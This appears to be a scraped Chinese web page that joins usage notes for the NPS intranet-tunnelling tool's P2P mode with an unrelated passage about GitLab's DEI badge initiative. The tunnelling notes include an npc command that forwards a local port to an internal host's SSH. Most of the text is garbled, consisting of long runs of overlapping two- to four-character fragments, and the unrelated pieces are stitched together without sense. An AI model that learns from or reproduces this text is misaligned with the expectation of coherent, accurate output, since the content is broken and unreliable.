适用范围:大流量传输场景,流量不经过公网服务器,但由于p2p穿透与NAT类型关系密切,不保证100%成功,支持大部分NAT类型。 nat类型检测 假设场景: 我要访问用户机器(接入端,即本机)的2000端口----访问内网机器10.2.50.2的22端口 使用步骤 在nps.conf中设置p2p_ip(nps服务器ip)和p2p_port(nps服务器udp端口)注意:如果p2p_port设置为6000,请在防火墙中打开6000~6002(额外2个端口)udp端口 在刚刚创建的客户端上添加p2p代理,并设置唯一密钥p2pssh在用户机器(本机)上执行命令。 /npc -server=1.1.1.1:8024 -vkey=123 -password=p2pssh -target=10.2.50.2:22Copy to ClipboardErrorCopied 如果需要指定本地端口,可以添加参数-local_port=xx,默认2000 注:密码为Web管理中添加的唯一密钥。具体命令请查看Web管理上的命令提示符。 假设内网机器为10.2.50.2,ssh用户名为root。现在在本机上执行ssh -p 2000 [email protected] 即可访问2号机的ssh。如果是网站,只需在浏览器中访问127.0.0.1:2000端口即可。 工具 具简 简介 工具简 具简介 工具简介 具是 是一 一款 款用 工具是 具是一 是一款 一款用 工具是一 具是一款 是一款用 语言 言编 编写 写的 的轻 轻量 量级 语言编 言编写 编写的 写的轻 的轻量 轻量级 语言编写 言编写的 编写的轻 写的轻量 的轻量级 功能 能强 强大 大的 的内 内网 网渗 渗透 透工 功能强 能强大 强大的 大的内 的内网 内网渗 网渗透 渗透工 透工具 功能强大 能强大的 强大的内 大的内网 的内网渗 内网渗透 网渗透工 渗透工具 支持 流量 量转 转发 流量转 量转发 流量转发 持内 支持内 持内网 支持内网 代理 压缩 节省 省带 带宽 宽和 和流 节省带 省带宽 带宽和 宽和流 和流量 节省带宽 省带宽和 带宽和流 宽和流量 站点 点保 保护 站点保 点保护 站点保护 加密 密传 传输 加密传 密传输 加密传输 复用 修改 改报 报头 头等 修改报 改报头 报头等 修改报头 改报头等 还支 还支持 图形 形化 化管 管理 图形化 形化管 化管理 图形化管 形化管理 这个 个工 具很 很容 容易 易使 使用 这个工 个工具 工具很 具很容 很容易 容易使 易使用 这个工具 个工具很 工具很容 具很容易 很容易使 容易使用 相比 具有 有图 形界 界面 具有图 有图形 图形界 形界面 具有图形 有图形界 图形界面 因此 此配 配置 置更 更简 简单 因此配 此配置 配置更 置更简 更简单 因此配置 此配置更 配置更简 置更简单 执行 行安 安装 装命 命令 执行安 行安装 安装命 装命令 执行安装 行安装命 安装命令 启动 装后 后配 置文 文件 件位 位于 安装后 装后配 后配置 配置文 置文件 文件位 件位于 安装后配 装后配置 后配置文 配置文件 置文件位 文件位于 目录 录下 下的 目录下 录下的 目录下的 动模 模式 启动模 动模式 启动模式 指定 定运 运行 行模 指定运 定运行 运行模 行模式 指定运行 定运行模 运行模式 理端 端口 代理端 理端口 代理端口 为空 空则 则不 不启 为空则 空则不 则不启 不启动 为空则不 空则不启 则不启动 如果 果设 设置 置为 则表 表示 示忽 忽略 如果设 果设置 设置为 置为空 空则表 则表示 表示忽 示忽略 如果设置 果设置为 设置为空 置为空则 为空则表 空则表示 则表示忽 表示忽略 证书 书设 证书设 书设置 证书设置 默认 认证 书文 位置 默认证 认证书 证书文 书文件 件位置 默认证书 认证书文 证书文件 书文件位 文件位置 客户 户端 端与 与服 服务 务器 器之 之间 间使 用的 的通 通信 信协 协议 客户端 户端与 端与服 与服务 服务器 务器之 器之间 之间使 间使用 使用的 用的通 的通信 通信协 信协议 客户端与 户端与服 端与服务 与服务器 服务器之 务器之间 器之间使 之间使用 间使用的 使用的通 用的通信 的通信协 通信协议 口与 器绑 绑定 端口与 口与服 务器绑 器绑定 端口与服 口与服务 服务器绑 务器绑定 公共 共密 密码 公共密 共密码 公共密码 端可 可以 以使 用该 该密 码连 连接 接服 户端可 端可以 可以使 以使用 使用该 用该密 该密码 密码连 码连接 连接服 接服务 客户端可 户端可以 端可以使 可以使用 以使用该 使用该密 用该密码 该密码连 密码连接 码连接服 连接服务 接服务器 接后 连接后 器将 将能 能够 够根 根据 据自 自己 己的 的配 件打 打开 开相 相关 关端 口并 并解 解析 析相 关域 域名 务器将 器将能 将能够 能够根 够根据 根据自 据自己 自己的 己的配 的配置 文件打 件打开 打开相 开相关 相关端 关端口 端口并 口并解 并解析 解析相 析相关 相关域 关域名 服务器将 务器将能 器将能够 将能够根 能够根据 够根据自 根据自己 据自己的 自己的配 己的配置 的配置文 置文件打 文件打开 件打开相 打开相关 开相关端 相关端口 关端口并 端口并解 口并解析 并解析相 解析相关 析相关域 相关域名 端以 以配 件模 式启 动时 时的 户端以 端以配 以配置 文件模 件模式 模式启 式启动 启动时 动时的 客户端以 户端以配 端以配置 以配置文 置文件模 文件模式 件模式启 模式启动 式启动时 启动时的 则关 关闭 闭客 端配 件连 接模 空则关 则关闭 关闭客 闭客户 户端配 端配置 文件连 件连接 连接模 接模式 为空则关 空则关闭 则关闭客 关闭客户 闭客户端 客户端配 户端配置 端配置文 置文件连 文件连接 件连接模 连接模式 量数 数据 据持 持久 久化 化间 间隔 流量数
  15. 上个月我们有幸受GitLab邀请参与GitLab DEI Badging集成的介绍。多样性、公平性和包容性(DEI) 徽章是开源软件社区健康分析(CHAOSS) 项目创建的一项举措,旨在认可和鼓励开源项目的努力。 自从我们第一次听说这一举措以来,我们对它的推出感到非常兴奋。纳入开源领域一直很重要,也是开源发挥作用的基石。这种对包容性的含义以及我们如何执行它的形式化是开源项目走向成熟的重要一步。第一个这样做的GitLab 项目,当然除了GitLab 本身! 对于我们参与这项计划的一部分,我们已经发布了DEI.md 声明文件,并承诺继续致力于此。我们将努力提高GitLab 团队运营的可见性、资源和文档的可用性,并改善和增加社区和合作伙伴做出贡献的机会。我们致力于在未来几年致力于此,并计划通过反馈和彻底审查继续改进我们的工作。 上个 个月 月我 我们 们有 有幸 幸受 上个月 个月我 月我们 我们有 们有幸 有幸受 上个月我 个月我们 月我们有 我们有幸 们有幸受 邀请 请参 参与 邀请参 请参与 邀请参与 集成 成的 的介 介绍 集成的 成的介 的介绍 集成的介 成的介绍 多样 样性 多样性 公平 平性 性和 和包 包容 容性 公平性 平性和 性和包 和包容 包容性 公平性和 平性和包 性和包容 和包容性 徽章 章是 是开 开源 源软 软件 件社 社区 区健 健康 康分 分析 徽章是 章是开 是开源 开源软 源软件 软件社 件社区 社区健 区健康 健康分 康分析 徽章是开 章是开源 是开源软 开源软件 源软件社 软件社区 件社区健 社区健康 区健康分 健康分析 项目 目创 创建 建的 的一 一项 项举 举措 项目创 目创建 创建的 建的一 的一项 一项举 项举措 项目创建 目创建的 创建的一 建的一项 的一项举 一项举措 旨在 在认 认可 可和 和鼓 鼓励 励开 源项 目的 的努 努力 旨在认 在认可 认可和 可和鼓 和鼓励 鼓励开 励开源 开源项 源项目 项目的 目的努 的努力 旨在认可 在认可和 认可和鼓 可和鼓励 和鼓励开 鼓励开源 励开源项 开源项目 源项目的 项目的努 目的努力 自从 从我 们第 第一 一次 次听 听说 说这 这一 一举 措以 以来 自从我 从我们 我们第 们第一 第一次 一次听 次听说 听说这 说这一 这一举 一举措 举措以 措以来 自从我们 从我们第 我们第一 们第一次 第一次听 一次听说 次听说这 听说这一 说这一举 这一举措 一举措以 举措以来 们对 对它 它的 的推 推出 出感 感到 到非 非常 常兴 兴奋 我们对 们对它 对它的 它的推 的推出 推出感 出感到 感到非 到非常 非常兴 常兴奋 我们对它 们对它的 对它的推 它的推出 的推出感 推出感到 出感到非 感到非常 到非常兴 非常兴奋 纳入 入开 源领 领域 域一 一直 直很 很重 重要 纳入开 入开源 开源领 源领域 领域一 域一直 一直很 直很重 很重要 纳入开源 入开源领 开源领域 源领域一 领域一直 域一直很 一直很重 直很重要 也是 源发 发挥 挥作 作用 用的 的基 基石 也是开 开源发 源发挥 发挥作 挥作用 作用的 用的基 的基石 也是开源 是开源发 开源发挥 源发挥作 发挥作用 挥作用的 作用的基 用的基石 这种 种对 对包 性的 的含 含义 义以 以及 及我 们如 如何 何执 执行 行它 的形 形式 式化 化是 目走 走向 向成 成熟 熟的 的重 要一 一步 这种对 种对包 对包容 容性的 性的含 的含义 含义以 义以及 以及我 及我们 我们如 们如何 如何执 何执行 执行它 行它的 它的形 的形式 形式化 式化是 化是开 项目走 目走向 走向成 向成熟 成熟的 熟的重 的重要 重要一 要一步 这种对包 种对包容 对包容性 包容性的 容性的含 性的含义 的含义以 含义以及 义以及我 以及我们 及我们如 我们如何 们如何执 如何执行 何执行它 执行它的 行它的形 它的形式 的形式化 形式化是 式化是开 化是开源 是开源项 源项目走 项目走向 目走向成 走向成熟 向成熟的 成熟的重 熟的重要 的重要一 重要一步 一个 个这 这样 样做 做的 第一个 一个这 个这样 这样做 样做的 第一个这 一个这样 个这样做 这样做的 当然 然除 除了 当然除 然除了 当然除了 本身 对于 于我 们参 与这 这项 项计 计划 划的 一部 部分 对于我 于我们 我们参 们参与 参与这 与这项 这项计 项计划 计划的 划的一 的一部 一部分 对于我们 于我们参 我们参与 们参与这 参与这项 与这项计 这项计划 项计划的 计划的一 划的一部 的一部分 们已 已经 经发 发布 布了 我们已 们已经 已经发 经发布 发布了 我们已经 们已经发 已经发布 经发布了 声明 明文 文件 声明文 明文件 声明文件 并承 承诺 诺继 继续 续致 致力 力于 于此 并承诺 承诺继 诺继续 继续致 续致力 致力于 力于此 并承诺继 承诺继续 诺继续致 继续致力 续致力于 致力于此 们将 将努 力提 提高 我们将 们将努 将努力 努力提 力提高 我们将努 们将努力 将努力提 努力提高 团队 队运 运营 营的 的可 可见 见性 团队运 队运营 运营的 营的可 的可见 可见性 团队运营 队运营的 运营的可 营的可见 的可见性 资源 源和 和文 文档 档的 可用 用性 资源和 源和文 和文档 文档的 档的可 的可用 可用性 资源和文 源和文档 和文档的 文档的可 档的可用 的可用性 并改 改善 善和 和增 增加 加社 区和 和合